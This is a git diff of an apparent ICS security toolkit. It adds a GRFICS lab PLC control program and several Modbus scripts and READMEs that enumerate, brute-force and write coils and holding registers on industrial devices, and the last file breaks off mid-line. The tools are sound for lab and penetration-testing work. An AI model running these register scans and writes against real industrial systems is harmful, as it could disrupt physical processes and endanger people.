ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = 